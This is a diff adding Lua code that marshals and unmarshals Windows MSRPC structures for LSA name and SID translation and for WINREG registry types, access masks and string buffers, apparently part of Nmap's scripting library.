+ LOOKUP_NAMES_PRIMARY_DOMAIN_ONLY = 3,
+ LOOKUP_NAMES_UPLEVEL_TRUSTS_ONLY = 4,
+ LOOKUP_NAMES_FOREST_TRUSTS_ONLY = 5,
+ LOOKUP_NAMES_UPLEVEL_TRUSTS_ONLY2 = 6
+}
+---LSA name level strings.
+local lsa_LookupNamesLevel_str =
+{
+ LOOKUP_NAMES_ALL = "All",
+ LOOKUP_NAMES_DOMAINS_ONLY = "Domains only",
+ LOOKUP_NAMES_PRIMARY_DOMAIN_ONLY = "Primary domains only",
+ LOOKUP_NAMES_UPLEVEL_TRUSTS_ONLY = "Uplevel trusted domains only",
+ LOOKUP_NAMES_FOREST_TRUSTS_ONLY = "Forest trusted domains only",
+ LOOKUP_NAMES_UPLEVEL_TRUSTS_ONLY2 = "Uplevel trusted domains only (2)"
+}
+---Marshall a <code>lsa_LookupNamesLevel</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param names_level The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_lsa_LookupNamesLevel(names_level)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_lsa_LookupNamesLevel()")
+
+ result = marshall_Enum32(names_level, lsa_LookupNamesLevel)
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_LookupNamesLevel()")
+ return result
+end
+
+---Unmarshall a <code>lsa_LookupNamesLevel</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_lsa_LookupNamesLevel(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_LookupNamesLevel()")
+
+ pos, str = unmarshall_Enum32(data, pos, lsa_LookupNamesLevel)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_LookupNamesLevel()")
+ return pos, str
+end
+
+---Convert a <code>lsa_LookupNamesLevel</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function lsa_LookupNamesLevel_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering lsa_LookupNamesLevel_tostr()")
+
+ result = lsa_LookupNamesLevel_str[val]
+
+ stdnse.debug4("MSRPC: Leaving lsa_LookupNamesLevel_tostr()")
+ return result
+end
+
+---Marshall a lsa_TranslatedSid2 struct
+--
+--<code>
+-- typedef struct {
+-- lsa_SidType sid_type;
+-- uint32 rid;
+-- uint32 sid_index;
+-- uint32 unknown;
+-- } lsa_TranslatedSid2;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param sid_type The <code>sid_type</code> value (I don't know what this means)
+--@param rid The <code>rid</code> (a number representing the user)
+--@param sid_index The <code>sid_index</code> value (I don't know what this means, either)
+--@param unknown An unknown value (is normally 0).
+--@return A string representing the marshalled data.
+local function marshall_lsa_TranslatedSid2(location, sid_type, rid, sid_index, unknown)
+ local result = ""
+ stdnse.debug4("MSRPC: Entering marshall_lsa_TranslatedSid2()")
+
+ -- Set some default values
+ if(sid_type == nil) then sid_type = "SID_NAME_USE_NONE" end
+ if(rid == nil) then rid = 0 end
+ if(sid_index == nil) then sid_index = 0 end
+ if(unknown == nil) then unknown = 0 end
+
+ if(location == HEAD or location == ALL) then
+ result = marshall_lsa_SidType(sid_type)
+ .. marshall_int32(rid)
+ .. marshall_int32(sid_index)
+ .. marshall_int32(unknown)
+ end
+
+ if(location == BODY or location == ALL) then
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_TranslatedSid2()")
+ return result
+end
+
+---Unmarshall a lsa_TranslatedSid2 struct
+--
+--<code>
+-- typedef struct {
+-- lsa_SidType sid_type;
+-- uint32 rid;
+-- uint32 sid_index;
+-- uint32 unknown;
+-- } lsa_TranslatedSid2;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_lsa_TranslatedSid2(location, data, pos, result)
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['sid_type'] = unmarshall_lsa_SidType(data, pos)
+ pos, result['rid'] = unmarshall_int32(data, pos)
+ pos, result['sid_index'] = unmarshall_int32(data, pos)
+ pos, result['unknown'] = unmarshall_int32(data, pos)
+ end
+
+
+ if(location == BODY or location == ALL) then
+ end
+
+ return pos, result
+end
+
+---Marshall a lsa_TranslatedName2 struct
+--
+--<code>
+-- typedef struct {
+-- lsa_SidType sid_type;
+-- lsa_String name;
+-- uint32 sid_index;
+-- uint32 unknown;
+-- } lsa_TranslatedName2;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param sid_type The <code>sid_type</code> value, as a string
+--@param name The name of the user
+--@param sid_index The sid_index (I don't know what this is)
+--@param unknown An unknown value, normally 0
+--@return A string representing the marshalled data.
+local function marshall_lsa_TranslatedName2(location, sid_type, name, sid_index, unknown)
+ local result = ""
+ stdnse.debug4("MSRPC: Entering marshall_lsa_TranslatedName2()")
+
+ -- Set some default values
+ if(sid_type == nil) then sid_type = "SID_NAME_USE_NONE" end
+ if(name == nil) then name = "" end
+ if(sid_index == nil) then sid_index = 0 end
+ if(unknown == nil) then unknown = 0 end
+
+ if(location == HEAD or location == ALL) then
+ result = marshall_lsa_SidType(sid_type)
+ .. marshall_lsa_String_internal(HEAD, name)
+ .. marshall_int32(sid_index)
+ .. marshall_int32(unknown)
+ end
+
+ if(location == BODY or location == ALL) then
+ result = result .. marshall_lsa_String_internal(BODY, name)
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_TranslatedName2()")
+ return result
+end
+
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_lsa_TranslatedName2(location, data, pos, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_TranslatedName2()")
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['sid_type'] = unmarshall_lsa_SidType(data, pos)
+ pos, result['name'] = unmarshall_lsa_String_internal(HEAD, data, pos)
+ pos, result['sid_index'] = unmarshall_int32(data, pos)
+ pos, result['unknown'] = unmarshall_int32(data, pos)
+ end
+
+
+ if(location == BODY or location == ALL) then
+ pos, result['name'] = unmarshall_lsa_String_internal(BODY, data, pos, result['name'])
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_TranslatedName2()")
+ return pos, result
+end
+
+
+---Marshall a lsa_TransSidArray2 struct
+--
+--<code>
+-- typedef struct {
+-- [range(0,1000)] uint32 count;
+-- [size_is(count)] lsa_TranslatedSid2 *sids;
+-- } lsa_TransSidArray2;
+--</code>
+--
+--@param sids An array of SIDs to translate (as strings)
+--@return A string representing the marshalled data.
+function marshall_lsa_TransSidArray2(sids)
+ local array = {}
+ stdnse.debug4("MSRPC: Entering marshall_lsa_TransSidArray2()")
+
+
+ for i = 1, #sids, 1 do
+ array[i] = {}
+ array[i]['func'] = marshall_lsa_TranslatedSid2
+ array[i]['args'] = {sids[i]['sid_type'], sids[i]['rid'], sids[i]['sid_index'], sids[i]['unknown']}
+ end
+
+ local result = marshall_int32(#sids)
+ .. marshall_ptr(ALL, marshall_array, {array}, array)
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_TransSidArray2()")
+ return result
+end
+
+---Marshall a lsa_StringLarge struct
+--
+--<code>
+-- typedef [public] struct {
+-- [value(2*strlen_m(string))] uint16 length;
+-- [value(2*(strlen_m(string)+1))] uint16 size;
+-- [charset(UTF16),size_is(size/2),length_is(length/2)] uint16 *string;
+-- } lsa_StringLarge;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and the string value.
+local function unmarshall_lsa_StringLarge(location, data, pos, result)
+ local length, size
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_StringLarge()")
+
+ if(location == HEAD or location == ALL) then
+ pos, length = unmarshall_int16(data, pos, false)
+ pos, size = unmarshall_int16(data, pos, false)
+
+ pos, str = unmarshall_ptr(HEAD, data, pos, unmarshall_unicode, {false})
+ end
+
+ if(location == BODY or location == ALL) then
+ pos, str = unmarshall_ptr(BODY, data, pos, unmarshall_unicode, {false}, result)
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_StringLarge()")
+ return pos, str
+end
+
+---Unmarshall a lsa_DomainInfo struct
+--
+--<code>
+-- typedef struct {
+-- lsa_StringLarge name;
+-- dom_sid2 *sid;
+-- } lsa_DomainInfo;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+local function unmarshall_lsa_DomainInfo(location, data, pos, result)
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_DomainInfo()")
+ if(result == nil) then
+ result = {}
+ end
+
+ if(location == HEAD or location == ALL) then
+ pos, result['name'] = unmarshall_lsa_StringLarge(HEAD, data, pos)
+ pos, result['sid'] = unmarshall_ptr(HEAD, data, pos, unmarshall_dom_sid2)
+ end
+
+ if(location == BODY or location == ALL) then
+ pos, result['name'] = unmarshall_lsa_StringLarge(BODY, data, pos, result['name'])
+ pos, result['sid'] = unmarshall_ptr(BODY, data, pos, unmarshall_dom_sid2, {}, result['sid'])
+ end
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_DomainInfo()")
+ return pos, result
+end
+
+---Unmarshall a lsa_RefDomainList struct
+--
+--<code>
+-- typedef struct {
+-- [range(0,1000)] uint32 count;
+-- [size_is(count)] lsa_DomainInfo *domains;
+-- uint32 max_size;
+-- } lsa_RefDomainList;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_lsa_RefDomainList(data, pos)
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_RefDomainList()")
+
+ -- Head
+ pos, result['count'] = unmarshall_int32(data, pos)
+ pos, result['domains'] = unmarshall_ptr(HEAD, data, pos, unmarshall_array, {result['count'], unmarshall_lsa_DomainInfo, {}})
+ pos, result['max_size'] = unmarshall_int32(data, pos)
+
+ -- Body
+ pos, result['domains'] = unmarshall_ptr(BODY, data, pos, unmarshall_array, {result['count'], unmarshall_lsa_DomainInfo, {}}, result['domains'])
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_RefDomainList()")
+ return pos, result
+end
+
+---Unmarshall a pointer to a <code>lsa_RefDomainList</code>. See the <code>unmarshall_lsa_RefDomainList</code> function
+-- for more information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_lsa_RefDomainList_ptr(data, pos)
+ local result
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_RefDomainList_ptr()")
+
+ pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_lsa_RefDomainList, nil)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_RefDomainList_ptr()")
+ return pos, result
+end
+
+---Unmarshall a lsa_TransSidArray2 struct
+--
+--<code>
+-- typedef struct {
+-- [range(0,1000)] uint32 count;
+-- [size_is(count)] lsa_TranslatedSid2 *sids;
+-- } lsa_TransSidArray2;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_lsa_TransSidArray2(data, pos)
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_TransSidArray2()")
+
+ pos, result['count'] = unmarshall_int32(data, pos)
+ pos, result['sid'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {result['count'], unmarshall_lsa_TranslatedSid2, {}})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_TransSidArray2()")
+ return pos, result
+end
+
+---Marshall a lsa_QosInfo struct
+--
+--<code>
+-- typedef struct {
+-- uint32 len; /* ignored */
+-- uint16 impersonation_level;
+-- uint8 context_mode;
+-- uint8 effective_only;
+-- } lsa_QosInfo;
+--</code>
+--
+-- I didn't bother letting the user specify values, since I don't know what any of them do. The
+-- defaults seem to work really well.
+--
+--@return A string representing the marshalled data.
+function marshall_lsa_QosInfo()
+ stdnse.debug4("MSRPC: Entering marshall_lsa_QosInfo()")
+
+ local result = marshall_int32(12)
+ .. marshall_int16(2, false)
+ .. marshall_int8(1, false)
+ .. marshall_int8(0, false)
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_QosInfo()")
+ return result
+end
+
+---Marshall a lsa_ObjectAttribute struct
+--
+--<code>
+-- typedef struct {
+-- uint32 len; /* ignored */
+-- uint8 *root_dir;
+-- [string,charset(UTF16)] uint16 *object_name;
+-- uint32 attributes;
+-- security_descriptor *sec_desc;
+-- lsa_QosInfo *sec_qos;
+-- } lsa_ObjectAttribute;
+--</code>
+--
+-- I didn't bother letting the user specify values, since I don't know what any of them do. The
+-- defaults seem to work really well.
+--
+--@return A string representing the marshalled data.
+function marshall_lsa_ObjectAttribute()
+ stdnse.debug4("MSRPC: Entering marshall_lsa_ObjectAttribute()")
+
+ local result = marshall_int32(24)
+ .. marshall_int32(0) -- Null'ing out these pointers for now. Maybe we'll need them in the future...
+ .. marshall_int32(0)
+ .. marshall_int32(0)
+ .. marshall_int32(0)
+ .. marshall_ptr(ALL, marshall_lsa_QosInfo, {})
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_ObjectAttribute()")
+ return result
+end
+
+---Marshall a lsa_SidPtr struct
+--
+--<code>
+-- typedef struct {
+-- dom_sid2 *sid;
+-- } lsa_SidPtr;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param sid The SID to marshall (as a string).
+--@return A string representing the marshalled data.
+local function marshall_lsa_SidPtr(location, sid)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_lsa_SidPtr()")
+
+ result = marshall_ptr(location, marshall_dom_sid2, {sid}, sid)
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_SidPtr()")
+ return result
+end
+
+---Marshall a lsa_SidArray struct
+--
+--<code>
+-- typedef [public] struct {
+-- [range(0,1000)] uint32 num_sids;
+-- [size_is(num_sids)] lsa_SidPtr *sids;
+-- } lsa_SidArray;
+--</code>
+--
+--@param sids The array of SIDs to marshall (as strings).
+--@return A string representing the marshalled data.
+function marshall_lsa_SidArray(sids)
+ local array = {}
+
+ for i = 1, #sids, 1 do
+ array[i] = {}
+ array[i]['func'] = marshall_lsa_SidPtr
+ array[i]['args'] = {sids[i]}
+ end
+
+ local result = marshall_int32(#sids)
+ .. marshall_ptr(ALL, marshall_array, {array}, array)
+
+ return result
+end
+
+---Unmarshall a lsa_SidPtr struct
+--
+--<code>
+-- typedef struct {
+-- dom_sid2 *sid;
+-- } lsa_SidPtr;
+--</code>
+--
+--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
+-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
+-- referent_id is split from the data (for example, in an array), you will want
+-- ALL.
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param result This is required when unmarshalling the BODY section, which always comes after
+-- unmarshalling the HEAD. It is the result returned for this parameter during the
+-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
+-- anything.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_lsa_SidPtr(location, data, pos, result)
+ return unmarshall_ptr(location, data, pos, unmarshall_dom_sid2, {}, result)
+end
+
+---Unmarshall a lsa_SidArray struct
+--
+-- typedef [public] struct {
+-- [range(0,1000)] uint32 num_sids;
+-- [size_is(num_sids)] lsa_SidPtr *sids;
+-- } lsa_SidArray;
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_lsa_SidArray(data, pos)
+ local sidarray = {}
+
+ pos, sidarray['count'] = unmarshall_int32(data, pos)
+ pos, sidarray['sids'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {sidarray['count'], unmarshall_lsa_SidPtr, {}})
+
+ return pos, sidarray
+end
+
+---Marshall a lsa_TransNameArray2 struct
+--
+--<code>
+-- typedef struct {
+-- [range(0,1000)] uint32 count;
+-- [size_is(count)] lsa_TranslatedName2 *names;
+-- } lsa_TransNameArray2;
+--</code>
+--
+--@param names An array of names to translate.
+--@return A string representing the marshalled data.
+function marshall_lsa_TransNameArray2(names)
+ local result = ""
+ local array = {}
+ stdnse.debug4("MSRPC: Entering marshall_lsa_TransNameArray2()")
+
+ if(names == nil) then
+ result = result .. marshall_int32(0)
+ array = nil
+ else
+ result = result .. marshall_int32(#names)
+
+ for i = 1, #names, 1 do
+ array[i] = {}
+ array[i]['func'] = marshall_lsa_TranslatedName2
+ array[i]['args'] = {names[i]['sid_type'], names[i]['name'], names[i]['sid_index'], names[i]['unknown']}
+ end
+ end
+
+ result = result .. marshall_ptr(ALL, marshall_array, {array}, array)
+
+ stdnse.debug4("MSRPC: Leaving marshall_lsa_TransNameArray2()")
+ return result
+end
+
+---Unmarshall a <code>lsa_TransNameArray2</code> structure. See the <code>marshall_lsa_TransNameArray2</code> for more
+-- information.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
+function unmarshall_lsa_TransNameArray2(data, pos)
+ local result = {}
+ stdnse.debug4("MSRPC: Entering unmarshall_lsa_TransNameArray2()")
+
+ pos, result['count'] = unmarshall_int32(data, pos)
+ pos, result['names'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {result['count'], unmarshall_lsa_TranslatedName2, {}})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_lsa_TransNameArray2()")
+ return pos, result
+end
+
+
+
+-------------------------------------
+-- WINREG
+-- (dependencies: LSA, INITSHUTDOWN, SECURITY)
+-------------------------------------
+--- Access masks for Windows registry calls
+local winreg_AccessMask =
+{
+ DELETE_ACCESS = 0x00010000,
+ READ_CONTROL_ACCESS = 0x00020000,
+ WRITE_DAC_ACCESS = 0x00040000,
+ WRITE_OWNER_ACCESS = 0x00080000,
+ SYNCHRONIZE_ACCESS = 0x00100000,
+ ACCESS_SACL_ACCESS = 0x00800000,
+ SYSTEM_SECURITY_ACCESS = 0x01000000,
+ MAXIMUM_ALLOWED_ACCESS = 0x02000000,
+ GENERIC_ALL_ACCESS = 0x10000000,
+ GENERIC_EXECUTE_ACCESS = 0x20000000,
+ GENERIC_WRITE_ACCESS = 0x40000000,
+ GENERIC_READ_ACCESS = 0x80000000
+}
+--- String versions of access masks for Windows registry calls
+local winreg_AccessMask_str =
+{
+ DELETE_ACCESS = "Delete",
+ READ_CONTROL_ACCESS = "Read",
+ WRITE_DAC_ACCESS = "Write",
+ WRITE_OWNER_ACCESS = "Write (owner)",
+ SYNCHRONIZE_ACCESS = "Synchronize",
+ ACCESS_SACL_ACCESS = "Access SACL",
+ SYSTEM_SECURITY_ACCESS = "System security",
+ MAXIMUM_ALLOWED_ACCESS = "Maximum allowed access",
+ GENERIC_ALL_ACCESS = "All access",
+ GENERIC_EXECUTE_ACCESS = "Execute access",
+ GENERIC_WRITE_ACCESS = "Write access",
+ GENERIC_READ_ACCESS = "Read access"
+}
+
+---Marshall a <code>winreg_AccessMask</code>.
+--
+--@param accessmask The access mask as a string (see the <code>winreg_AccessMask</code>
+-- table)
+--@return A string representing the marshalled data.
+function marshall_winreg_AccessMask(accessmask)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_winreg_AccessMask()")
+
+ result = marshall_Enum32(accessmask, winreg_AccessMask)
+
+ stdnse.debug4("MSRPC: Leaving marshall_winreg_AccessMask()")
+ return result
+end
+
+---Unmarshall a <code>winreg_AccessMask</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_winreg_AccessMask(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_winreg_AccessMask()")
+
+ pos, str = unmarshall_Enum32(data, pos, winreg_AccessMask)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_winreg_AccessMask()")
+ return pos, str
+end
+
+---Convert a <code>winreg_AccessMask</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function winreg_AccessMask_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering winreg_AccessMask_tostr()")
+
+ result = winreg_AccessMask_str[val]
+
+ stdnse.debug4("MSRPC: Leaving winreg_AccessMask_tostr()")
+ return result
+end
+
+---Registry types
+winreg_Type =
+{
+ REG_NONE = 0,
+ REG_SZ = 1,
+ REG_EXPAND_SZ = 2,
+ REG_BINARY = 3,
+ REG_DWORD = 4,
+ REG_DWORD_BIG_ENDIAN = 5,
+ REG_LINK = 6,
+ REG_MULTI_SZ = 7,
+ REG_RESOURCE_LIST = 8,
+ REG_FULL_RESOURCE_DESCRIPTOR = 9,
+ REG_RESOURCE_REQUIREMENTS_LIST = 10,
+ REG_QWORD = 11
+}
+
+---Registry type strings
+winreg_Type_str =
+{
+ REG_NONE = "None",
+ REG_SZ = "String",
+ REG_EXPAND_SZ = "String (expanded)",
+ REG_BINARY = "Binary",
+ REG_DWORD = "Dword",
+ REG_DWORD_BIG_ENDIAN = "Dword (big endian)",
+ REG_LINK = "Link",
+ REG_MULTI_SZ = "String (multi)",
+ REG_RESOURCE_LIST = "Resource list",
+ REG_FULL_RESOURCE_DESCRIPTOR = "Full resource descriptor",
+ REG_RESOURCE_REQUIREMENTS_LIST = "Resource requirements list",
+ REG_QWORD = "Qword"
+}
+
+---Marshall a <code>winreg_Type</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param winregtype The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_winreg_Type(winregtype)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_winreg_Type()")
+
+ result = marshall_Enum32(winregtype, winreg_Type)
+
+ stdnse.debug4("MSRPC: Leaving marshall_winreg_Type()")
+ return result
+end
+
+---Unmarshall a <code>winreg_Type</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_winreg_Type(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_winreg_Type()")
+
+ pos, str = unmarshall_Enum32(data, pos, winreg_Type)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_winreg_Type()")
+ return pos, str
+end
+
+---Marshall a pointer to a <code>winreg_Type</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param winreg_type The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_winreg_Type_ptr(winreg_type)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_winreg_Type_ptr()")
+
+ result = marshall_ptr(ALL, marshall_winreg_Type, {winreg_type}, winreg_type)
+
+ stdnse.debug4("MSRPC: Leaving marshall_winreg_Type_ptr()")
+ return result
+end
+
+---Unmarshall a pointer to a <code>winreg_Type</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_winreg_Type_ptr(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_winreg_Type_ptr()")
+
+ pos, str = unmarshall_ptr(ALL, data, pos, unmarshall_winreg_Type, {})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_winreg_Type_ptr()")
+ return pos, str
+end
+
+---Convert a <code>winreg_Type</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function winreg_Type_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering winreg_Type_tostr()")
+
+ result = winreg_Type_str[val]
+
+ stdnse.debug4("MSRPC: Leaving winreg_Type_tostr()")
+ return result
+end
+
+--- A winreg_stringbuf is a buffer that holds a null-terminated string. It can have a max size that's different
+-- from its actual size.
+--
+-- This is the format:
+--
+--<code>
+-- typedef struct {
+-- [value(strlen_m_term(name)*2)] uint16 length;
+-- uint16 size;
+-- [size_is(size/2),length_is(length/2),charset(UTF16)] uint16 *name;
+-- } winreg_StringBuf;
+--</code>
+--
+--@param table The table to marshall. Will probably contain just the 'name' entry.
+--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator.
+-- Defaults to the length of the string, including the null.
+--@return A string representing the marshalled data.
+function marshall_winreg_StringBuf(table, max_length)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_winreg_StringBuf()")
+
+ local name = table['name']
+ local length
+
+ -- Handle default max lengths
+ if(max_length == nil) then
+ if(name == nil) then
+ max_length = 0
+ else
+ max_length = #name + 1
+ end
+ end
+
+ -- For some reason, 0-length strings are handled differently (no null terminator)...
+ if(name == "") then
+ length = 0
+ result = string.pack("<I2I2", length * 2, max_length * 2) .. marshall_ptr(ALL, marshall_unicode, {name, false, max_length}, name)
+ else
+ if(name == nil) then
+ length = 0
+ else
+ length = #name + 1
+ end
+
+ result = string.pack("<I2I2", length * 2, max_length * 2) .. marshall_ptr(ALL, marshall_unicode, {name, true, max_length}, name)
+ end
+
+ stdnse.debug4("MSRPC: Leaving marshall_winreg_StringBuf()")
+ return result
+end
+
+---Unmarshall a winreg_StringBuf buffer.
+--
+--@param data The data buffer.
+--@param pos The position in the data buffer.
+--@return (pos, str) The new position and the string.
+function unmarshall_winreg_StringBuf(data, pos)
+ local length, size
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_winreg_StringBuf()")
+
+ pos, length = unmarshall_int16(data, pos, false)
+ pos, size = unmarshall_int16(data, pos, false)
+
+ pos, str = unmarshall_ptr(ALL, data, pos, unmarshall_unicode, {true})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_winreg_StringBuf()")
+ return pos, str
+end
+
+---Marshall a winreg_StringBuffer pointer. Same as <code>marshall_winreg_StringBuf</code>, except
+-- the string can be <code>nil</code>.
+--
+--@param table The table representing the String.
+--@param max_length [optional] The maximum size of the buffer, in characters. Defaults to the length of the string, including the null.
+--@return A string representing the marshalled data.
+function marshall_winreg_StringBuf_ptr(table, max_length)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_winreg_StringBuf_ptr()")
+
+ result = marshall_ptr(ALL, marshall_winreg_StringBuf, {table, max_length}, table)
+
+ stdnse.debug4("MSRPC: Leaving marshall_winreg_StringBuf_ptr()")
+ return result
+end
+
+---Unmarshall a winreg_StringBuffer pointer
+--
+--@param data The data buffer.
+--@param pos The position in the data buffer.
+--@return (pos, str) The new position and the string.
+function unmarshall_winreg_StringBuf_ptr(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_winreg_StringBuf_ptr()")
+
+ pos, str = unmarshall_ptr(ALL, data, pos, unmarshall_winreg_StringBuf, {})
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_winreg_StringBuf_ptr()")
+ return pos, str
+end
+
+
+--- A winreg_String has the same makeup as a winreg_StringBuf, as far as I can tell, so delegate to that function.
+--
+--@param table The table representing the String.
